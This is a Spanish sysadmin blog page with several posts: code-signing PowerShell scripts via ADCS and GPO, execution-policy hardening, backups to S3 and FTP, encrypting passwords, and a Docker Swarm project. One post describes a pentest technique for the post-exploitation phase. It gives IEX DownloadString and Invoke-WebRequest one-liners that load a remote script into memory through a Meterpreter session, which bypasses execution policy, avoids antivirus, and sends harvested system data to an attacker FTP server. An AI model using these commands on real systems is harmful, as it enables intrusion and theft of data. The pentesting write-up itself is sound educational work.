Firmar scripts PowerShell [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Firmar scripts PowerShell

• [Parte 1 de 2]: Hardening en la política de ejecución
• [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Continuando con el artículo sobre como firmar scripts PowerShell estableciendo una política de ejecución AllSigned. En este post comentaré como hacer uso de las plantillas de certificados para el propósito de "Firma de código" emitidas por una Entidad de certificación CA implementada en un entorno de dominio haciendo uso del servicio ADCS (Active Directory Certificate Services), desplegando el certificado vía GPO y finalmente realizar una comprobación de integridad del script PowerShell firmado.

CA raíz y CA subordinadas

La CA raíz contiene la clave privada de toda la jerarquía de certificados, si un atacante obtuviera este certificado o emite un certificado para una entidad no autorizada, se compromete la seguridad basada en el certificado de la organización de todos los certificados que se han emitido en esa jerarquía.

Lo ideal y por seguridad sería disponer de una CA raíz que emita certificados para una CA subordinada, de modo que no se exponga directamente el primer nivel de certificado de la CA raíz, las CA subordinadas requieren una jerarquía de PKI establecida.

Entidades de certificación: empresarial e independientes

• Entidad de certificación empresarial: Deben pertenecer al dominio, se suele utilizar cuando es necesario emitir muchos certificados y aprobarlos rápidamente para un entorno de dominio Active Directory.
• Entidad de certificación independiente: Pueden pertenecer a un grupo de trabajo o a un dominio. No requieren de ADDS, se suele utilizar para emitir certificados directamente a los clientes. Dado que no tiene el certificado raíz, ofrece una mayor seguridad. La desventaja es que todos los certificados que se emiten deben ser aprobados.

Descripción del escenario para este lab

Por motivo de falta de recursos y no desplegar una CA subordinada, para estos ejemplos se hará uso únicamente de una CA raíz tipo empresarial ya implementada con el nivel de confianza máximo en la jerarquía de PKI de la organización y un equipo Windows 10 unido al dominio en el que se probará la ejecución de scripts PowerShell firmados donde se le aplicará una GPO con el certificado necesario. 

Entidad de certificación CA (ADCS) y plantilla de Firma de código

Esto sería opcional pero para tener un control de permisos podemos crear un nuevo grupo en AD para este fin y asignarlo desde la consola de "Plantillas de certifiado" (certtmpl.msc) a la plantilla de que tiene como propósito la "Firma de código". De modo que todos los usuarios/grupos que formen parte del grupo añadido tengan permisos para poder solicitar esta plantilla a la entidad de certificación desde las propia consola local de administración de certificados de usuario (certmgr.msc).

Figura 1: Asignación de permisos a la plantilla de certificado "Firma de código".

Desde la consola de "Entidad de certificación" (certsrv.msc). Emitimos la publicación de una nueva plantilla de certificado "Firma de código".

Figura 2: Emitir plantilla de certificado "Firma de código" desde una Entidad de certificación CA.

Es el momento de solicitar un certificado para "Firma de código". Esto lo haremos desde el propio almacén de certificados de Windows (certmgr.msc) y con un usuario que tenga permisos para poder solicitar el certificado de Firma de código a la Entidad de certificación.

Figura 3: Solicitar a la CA un certificado de Firma de código. 

Una vez solicitado, exportamos el certificado en formato .cer.

Figura 4: Exportar el certificado .cer con propósitos de Firma de código.

Despliegue de certificado vía GPO

Para que el resto de equipos del dominio dispongan del certificado .cer en su almacén de certificados, se crea una nueva GPO desde la consola de Administración de directivas de grupo (gpmc.msc). 

A nivel de directiva de equipo, importamos el certificado .cer en el almacén de "Editores de confianza" (Trusted Publishers). Es importante que esté importado en este almacén, de lo contrario la ejecución de scripts PowerShell firmados en cualquier máquina unida al dominio y que tenga establecida una política de ejecución de scripts en modo AllSigned nos arrojará un mensaje de advertencia inicial (como se muestra en la Figura 7).

Figura 5: Desplegar certificado para firma de código vía GPO. 

Firmar scripts PowerShell con un certificado tipo "Firma de código"

Con el mismo usuario que hemos solicitado el certificado, firmamos un script PowerShell. Si visualizamos el fichero de script vemos que se ha incluido una firma complementaria al final del código.

Get-AuthenticodeSignature -FilePath .\MyScript.ps1

$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert

Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert

Figura 6: Firmar y ejecutar script PowerShell desde el mismo usuario.

Ejecución del script firmado en otro equipo y usuario del dominio

Probamos a ejecutar el script firmado desde otro usuario y equipo unido al dominio, en este caso un cliente Windows 10 con la política de ejecución de scripts establecida en AllSigned.

Como vemos en la siguiente captura, hay posibilidad de ejecutar el script pero nos muestra un advertencia indicando que el certificado no está importado en el almacén de "Editores de confianza" (Trusted Publishers). Por esta razón lo comentado en el punto anterior de la figura 5. De momento cancelamos la ejecución (ctrl+c).

Figura 7: Ejecutar script PowerShell desde otra máquina y usuario del dominio (sin certificado importado).

Para importar el certificado en el almacén local de la máquina realizamos un forzado de la actualización de políticas (gpupdate /force). Una vez tenemos el certificado ya importado a través de la aplicación de la GPO creada en la Figura 5, podemos observar que al volver ejecutar el script firmado ya no se muestra ninguna advertencia.

Lógicamente si ejecutamos un script no firmado (MyScript_noSigned.ps1) se nos mostrará el mensaje de error común debido a la restricción aplicada AllSigned en la política de ejecución de scripts.

Figura 8: Ejecutar script PowerShell desde otra máquina y usuario del dominio (con certificado importado).

Comprobación de la integridad de firma en scripts PowerShell

¿Qué pasa si se modifica el código del script firmado?

Para realizar la verificación de integridad de la firma del script se modifica el código del script firmado y se vuelve a comprobar el estado del certificado. 

Si ejecutamos el script después de modificarlo se nos muestra un error indicando que "es posible que alguien no autorizado haya modificado el contenido del archivo", comprobamos nuevamente la firma del fichero y veremos un estado HashMismatch indicando claramente que se ha modificado rompiendo su integridad respecto a la firma.

Será necesario volver a firmarlo con el mismo certificado, generando así una nueva firma asignada al script. 

Figura 9: Modificar script PowerShell firmado para comprobar su integridad.

Saludos!

Firmar scripts PowerShell [Parte 1 de 2]: Hardening en la política de ejecución

Firmar scripts PowerShell

• [Parte 1 de 2]: Hardening en la política de ejecución
• [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Por motivos de seguridad Windows PowerShell establece unas políticas de ejecución de scripts. Con el fin de evitar posibles ejecuciones de scripts no deseadas. Para poder ejecutar scripts en PowerShell sin problemas, se tendrá que cambiar la política de ejecución (ExecutionPolicy). Por defecto no están definidas y vienen deshabilitadas (Restricted) para todos los scopes.

En un escenario en el que formemos parte de un dominio y deseemos ejecutar scripts PowerShell para la realización de tareas en los endpoints o servidores del parque equipos de la organización. En la mayoría de los casos me encuentro con la "solución" sencilla y poco idónea. Se trata de aplicar un GPO estableciendo la política de ejecución en modo Unrestricted en las máquinas afectadas. Esto deja vía libre a cualquier usuario para que pueda comprometer la máquina sin ningún tipo de restricción.

Aplicar un hardening en la política de ejecución de scripts PowerShell

Lo más correcto en estos casos sería aplicar esta GPO en un modo AllSigned y firmar con un certificado de confianza todos los scripts que vayan ser ejecutados aplicando así un hardening en la política de ejecución de scripts de forma que sean seguros y confiables en entornos corporativos. 

Si disponemos de una PKI de una entidad de certificación ADCS (Active Directory Certificate Services) podremos generar un certificado específico para este fin y propagar este certificado a través de GPO.

Para los siguientes ejemplos usaré un certificado autofirmado.

Modos de la política de ejecución (ExecutionPolicy):

• Restricted: Bloquea todos los scripts en PowerShell y hace que todas las tareas deban ejecutarse de forma interactiva, nada automático. Es la política por defecto.
• Unrestricted: Puede ejecutar cualquier script, sin restricciones. Si se ejecuta un script sin firmar muestra una advertencia al usuario.
• RemoteSigned: Puede ejecutar scripts que han sido creados en la máquina local sin ser firmados. Pero los paquetes descargados deben estar firmados antes de poder instalarlos. Conlleva el riesgo de que no es necesario que los scripts locales vayan firmados digitalmente. Para ejecutar scripts descargados de internet (sin firmar) es necesario usar la opción Unblock-File. Es la política por defecto para Windows Server.
• AllSigned: Solo puede ejecutar paquetes y scripts firmados digitalmente por un publicador de confianza, incluidos los scripts escritos en el equipo local.
• Bypass: Similar a Unrestricted, con la diferencia de que no alerta de riesgos al usuario. Suele utilizarse en integraciones de PowerShell con otras aplicaciones, en las que funciona en una capa inferior, dado que dichas aplicaciones cuentan con un modelo de seguridad propio.
• Undefined: No se establece explícitamente ninguna de las directivas anteriores. Por defecto sería Restricted.
• Default: Establece la política de ejecución predeterminada. Restricted para clientes de Windows y RemoteSigned para Windows Server.

Tipos de ámbitos de la política de ejecución (Scopes):

• MachinePolicy: Establecido por una política de grupo para todos los usuarios de la máquina.
• UserPolicy: Establecido por una política de grupo para el usuario actual de la máquina.
• Process: Afecta solo a la sesión actual de PowerShell.
• CurrentUser: Afecta solo al usuario actual.
• LocalMachine: Alcance predeterminado que afecta a todos los usuarios de la máquina.

Referencia: Get-ExecutionPolicy y Set-ExecutionPolicy

Get-ExecutionPolicy -List
Set-ExecutionPolicy AllSigned -scope LocalMachine -Force

Figura 1: Políticas de ejecución de scripts PowerShell.

Bypass de la política de ejecución de un solo script

En el caso de que las políticas de ejecución estén en un modo Undefined y por lo tanto es como si estuvieran en Restricted. Si queremos ejecutar un script en esa misma sesión o contexto de ejecución podemos usar el modo Bypass. 

PowerShell.exe -ExecutionPolicy Bypass -File \.MyScript.ps1

También sería lo mismo.

powershell -ep Bypass .\MyScript.ps1

Figura 2: Bypass para la ejecución de un solo script.

Firmar un script PowerShell

Referencia: Set-AuthenticodeSignature

Firmar con un certificado del almacén de certificados local

$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert

Figura 3: Firmar con un certificado del almacén local.

Firmar un script usando un certificado de un archivo PFX

$cert = Get-PfxCertificate -FilePath C:\Certs\MySign.pfx
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert

Figura 4: Firmar usando un un certificado .pfx.

Agregar una firma que incluya la autoridad certificación raíz (CA)

$cert = Get-PfxCertificate -FilePath C:\Certs\MySign.pfx
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert -IncludeChain All -TimestampServer "http://timestamp.globalsign.com/scripts/timstamp.dll"

• IncludeChain: Incluye todas las cadenas de confianza de la autoridad raíz.
• TimeStampServer: Agrega una marca de tiempo a la firma. Esto evita que el script falle cuando caduque el certificado. 

Figura 4: Agregar una firma que incluya la autoridad raíz.

Obtener información de la firma de un script firmado

Referencia: Get-AuthenticodeSignature

Get-AuthenticodeSignature .\MyScript.ps1 | Format-List *

Figura 5: Obtener información de la firma de un script firmado.

Crear un certificado autofirmado para realizar pruebas

Referencia: New-SelfSignedCertificate

New-SelfSignedCertificate -FriendlyName "Zona System ejemplo firma de código" -CertStoreLocation Cert:\CurrentUser\My -Subject "Zona System" -Type CodeSigningCert

Figura 6: Crear certificado autofirmado para pruebas.

Ejemplo de ejecución de script firmado

Estableciendo la política de ejecución de scripts de PowerShell en AllSigned.

Figura 7: Ejemplo de ejecución de script firmado.

Saludos!

Fingerprinting con PowerShell y envío de información a un servidor FTP (Vídeo PoC)

En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.

El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.

En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.

Referencia del script Powershell en mi repositorio de Github:

https://raw.githubusercontent.com/adrianlois/Fingerprinting-envio-FTP-PowerShell/master/SysInfo.ps1

Bypass ExecutionPolicy en Powershell usando funciones

Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.

Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.

# Powershell v1.0/v2.0
IEX (New-Object Net.WebClient).DownloadString('http://web/script.txt')

# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)

Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota. 

En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.

Vídeo demo - PoC

He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.

Vídeo: https://youtu.be/JY33NkpAaeI

Saludos!

Backups: Sincronizar datos locales a un bucket de Amazon S3 usando AWSCLI en PowerShell y Bash

Hace tiempo que vengo usando este método de realizar mis backups personales, aunque siendo correctos, por definición no se trata realmente del concepto de "Backups" sino de un sistema de sincronización. Si usando el mismo método almacenara copias durante un periodo de tiempo determinado con una autoeliminación de los backups más viejos, es decir una política de retención donde haiga la posibilidad de disponer de puntos de restauración dentro de las fechas establecidas en la política de retención, así como la posibilidad de almacenar un histórico de copias en frio en fechas más viejas. En ese caso si estaríamos aplicando el concepto de backup.

Esta es una forma sincronizar datos en dos sitios o ubicaciones distintas. Por un lado tenemos los datos locales que queremos salvaguardar y por otro un sitio cloud donde realizaremos la sincronización de dichos datos en un momento programado y definido previamente para que se realice después de manera automática.

Se trata de scripts de PowerShell y Bash Shell Script, compatibles en entornos Windows, Linux y MacOS, para sincronizar datos locales a un bucket S3 (Simple Storage Service) de Amazon Web Services a través de la interfaz de línea de comandos de AWSCLI (serverless). Donde se realiza un push de datos locales a una ubicación remota en un bucket de almacenamiento de Amazon S3.

En mí repositorio personal de Gihub comento en más detalle el procedimiento a seguir e iré actualizándolo con mejoras cuando proceda.

• https://github.com/adrianlois/Backup-AWS-Bucket-S3-Sync

PowerShell

• Funciones específicas para montar y desmontar unidades externas USB donde se almacenarán las copias de Veeam Backup.
• Realizar compresiones 7zip cifrada de forma simétrica, usando adicionalmente un método de capas de ficheros comprimidos para almacenar la BBDD + key file de KeePassXC.
• Sincronizar con AWS CLI los datos locales con el objeto (carpeta/directorio) del bucket S3.
• Generar un fichero log de todo el proceso.
• Enviar el fichero de log vía Email.
• Enviar el fichero de log, contenido en formato de mensaje o ambas vía ChatBot de Telegram.

Bash Shell Script

• Generar un fichero log de todo el proceso.
• Sincronizar los datos locales con el objeto (carpeta/directorio) del bucket S3 usando AWSCLI.
• Enviar el fichero de log vía Email desde el smtp de una cuenta de correo Gmail configurado en SSMTP.

Saludos!

Gestión de backups de recurso compartido CIFS a un servidor FTP remoto de forma sincronizada con rsync

Una forma de  realizar backups de ficheros o directorios independientes entre un sistema Windows y servidor FTP remoto y los ficheros a realizar el backup están en un recurso compartido CIFS (SMB) de Windows, si disponemos de un sistema Linux podremos montar en dos directorios el recurso compartido Windows y el servidor FTP remoto. A posteriori realizar la copia sincronizada con rsync entre el directorio montado con CIFS y el directorio remoto FTP donde se almacenará la copia.

Accedemos al sistema linux e instalamos los paquetes cifs-utils para poder montar sistemas de ficheros compartidos desde un sistema Windows y curlftpfs para montar el servidor FTP remoto.

sudo apt install -y cifs-utils

sudo apt install -y curlftpfs

Creamos un directorio para montar el recurso compartido Windows y otro para montar el espacio del servidor FTP remoto y otorgamos permisos de control total, aunque esto dependerá de la gestión de usuarios y grupos de como tengamos configurado el entorno Linux. (Como ejemplo se montará partiendo de /mnt).

mkdir /mnt/ftpbackup ; chmod -R 777 /mnt/ftpbackup

mkdir /mnt/cifsbackup ; chmod -R 777 /mnt/cifsbackup

Montamos el recurso compartido cifs de Windows.

mount -t cifs //server/compartida /mnt/cifsbackup -o username=user,password=passw,domain=dominio

• //server/compartida: Será el recurso compartido cifs de Windows.
• /mnt/cifsbackup: Directorio que se usará para montar el recurso cifs de Windows en la máquina Linux.
• User, password y dominio: Será el usuario, contraseña y dominio si se trata de un usuario de dominio, si se trata de un usuario local de Windows sería el hostname de la máquina Windows.

Montamos el directorio del servidor FTP remoto en el directorio local de la máquina Linux. (Como ejemplo se montará partiendo de /mnt.)

curlftpfs user:passw@serverftp /mnt/ftpbackup

• user: Usuario de acceso al servidor FTP.
• passw: Password de acceso al servidor FTP.
• serverftp: URL, IP o hostname de acceso al servidor FTP.
• /mnt/ftpbackup: Directorio donde se montará el servidor FTP remoto en la máquina Windows.

Una vez montados ambos recursos solo queda realizar el backup y que sincronice los datos desde el recurso compartido cifs de Windows hacia el servidor FTP remoto, al estar montados en el sistema Linux estos se tratarían como directorios locales.

rsync -rtvp --log-file=/var/log/ficherolog /mnt/cifsbackup /mnt/ftpbackup

• r: Recursividad entre directorios.
• r: Preserva la modificación de fechas.
• v: Vervose, muestra más detalles.
• p: Preserva los permisos de los ficheros y directorios.
• --log-file=/var/log/ficherolog: Almacena los resultados en un fichero de log.
• /mnt/cifsbackup: Datos origen.
• /mnt/ftpbackup: Datos destino.

Para desmontar los recursos de los directorios.

umount /mnt/ftpbackup

umount /mnt/smbbackup

Para automatizar este proceso podemos crear un fichero bash script .sh que monten ambos recursos, realize el backup con rsync, enviarse el fichero de log a una dirección de correo electrónico y finalmente desmontar ambos recursos para que no permanezacan en la máquina Linux si no lo deseamos.

Si queremos programar la ejecución de este script .sh a una fecha/hora concreta añadimos el script a una nnueva línea en /etc/crontab de modo que se ejecute de forma programada.

Saludos!

Cifrar passwords con PowerShell

Con PowerShell podemos generar o almacenar contraseñas simétricas, secretos (tipo API Key o Access Token) o simplemente cadenas de texto y guardarlas cifradas de forma segura en ficheros de scripts Powershell.

En un caso práctico este método lo llevo utilizando ya un tiempo para almacenar las contraseñas necesarias que se usan en scripts automatizados para realizar en este caso copias de seguridad.

• https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell

Crear passwords cifradas con PowerShell para usar desde el mismo usuario

Cuando establecemos una password en Powershell y la volcamos en un fichero, el fichero que contiene la password cifrada solo sería se podría usar desde el mismo usuario que la estableció.

Para establecer una password con Powershell y volcarla a un fichero de forma cifrada convirtiendo la cadena de texto claro establecida a una cadena cifrada segura (ConvertFrom-SecureString).

Read-Host -AsSecureString "Password fichero" | ConvertFrom-SecureString | Set-Content "C:\Passwords\fichero-passwd-cifrada"

Llamar al fichero con la password cifrada almacenada en un script Powershell, convertir la cadena cifrada en texto claro (ConvertTo-SecureString).

Get-Content "C:\Passwords\fichero-passwd-cifrada" | ConvertTo-SecureString

Repositorio donde se muestra este método y un video demo PoC.

• https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell/tree/master/backup-v2.0

Crear passwords cifradas con PowerShell generando un keyfile portable para usar desde cualquier usuario o máquina

Otra forma de cifrar la passwords en Powershell sería generar un keyfile (fichero llave único para descifrarlas). De ese modo teniendo el keyfile y referenciándolo en el script de Powershell se pueden cifrar con el keyfile y posteriormente descifrar las password establecida volcada en el fichero.

La ventaja respecto al método anterior, es que se pueden descifrar los ficheros que almacenan las passwords cifradas desde cualquier usuario de la misma máquina o cualquier usuario de otra máquina distinta. Pudiendo así transportar los ficheros de passwords y keyfile para ser utilizados de una forma portable por otros usuarios o máquinas.

Generar el keyfile y establecer la password para volcarla a un fichero asociándola al keyfile (Read-Host -AsSecureString , ConvertFrom-SecureString -Key).

$CifradoKeyFile = New-Object Byte[] 32
[Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($CifradoKeyFile)
$CifradoKeyFile | Out-File "C:\Passwords\CifradoKeyFile.key"

Read-Host -AsSecureString "Establece una Password" | ConvertFrom-SecureString -Key (Get-Content "C:\Passwords\CifradoKeyFile.key") | Set-Content "C:\Passwords\fichero-passwd-cifrada"

Para descifrar y leer el contenido cifrado a través de un script Powershell se concatena el fichero de password cifrado y su keyfile (ConvertTo-SecureString -Key).

Get-Content "C:\Passwords\fichero-passwd-cifrada" | ConvertTo-SecureString -Key (Get-Content "C:\Passwords\CifradoKeyFile.key")

¿Cómo parametrizar usuario y password en un script Powershell sin establecer la password en texto claro?

Haciendo uso de lo anterior, usando un fichero key para que la password pueda ser leída desde cualquier usuario o máquina, un ejemplo podría ser el siguiente.

$password = Get-Content C:\Passwords\password.txt | ConvertTo-SecureString -Key (Get-Content C:\Passwords\aes.key)

$credential = New-Object System.Management.Automation.PsCredential("Username",$password)

Repositorio donde se muestra este método con generación de keyfile y un video demo PoC.

• https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell/tree/master/backup-v2.1

ConverTo-SecureString hace uso de DPAPI (Data Protection API) usando un algoritmo de cifrado AES256 en versiones modernas o 3DES en antiguas, crea un hash en base a la clave del usuario. Más info de como funciona el proceso de cifrado.

Liberar o eliminar las passwords almacenadas en un puntero de memoria

Cuando se crea una cadena tipo SecureString esta es almacenada en un espacio de memoria a parte, donde el recolector de basura de .NET de Powershell (CG - Garbage Collector) no puede acceder por lo que es recomendable vaciar este espacio de memoria que se asigna a un puntero.

ZeroFreeCoTaskMemUnicode: Libera un puntero a una cadena no administrada que se ha asignado con el método.

En el siguiente ejemplo se muestra como se crea una cadena segura y se almacenada en un variable. Se convierte a texto claro gracias a que conocemos el indicador del puntero en memoria y finalmente liberamos ese puntero. Con esto evitará el almacenamiento en memoria de la credencial almacenada. 

PS C:\> $sec = Read-Host -AsSecureString
*******
PS C:\> $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sec)
PS C:\> $ptr
114228428
PS C:\> $plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($ptr)
PS C:\> $plaintext
Abc123.
PS C:\> [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($ptr)

Saludos!

Implementación de Docker Swarm en Amazon Web Services usando Auto Scaling Groups y Elastic Load Balancing

Implementación de Docker Swarm en Amazon Web Services usando Auto Scaling Groups y Elastic Load Balancing

En esta entrada quiero hacer referencia al proyecto de fin de curso del ciclo superior de Administración de Sistemas Informáticos y Redes que presenté en Noviembre de 2018.

Repositorio Github

https://github.com/adrianlois/Docker-Swarm-AWS-ASG-ELB

Documentación del proyecto

https://drive.google.com/file/d/1kCHZ6RxvvtPaDUQYf78aArt2P65kaC7Q

Presentación Slides

https://www.slideshare.net/adrianlois/implementacin-docker-swarm-en-amazon-web-services-usando-auto-scaling-groups-y-elastic-load-balancing-124979842

Video demo de la prueba de concepto (PoC) 

https://www.youtube.com/watch?v=HzsBiJjgrOo

Saludos!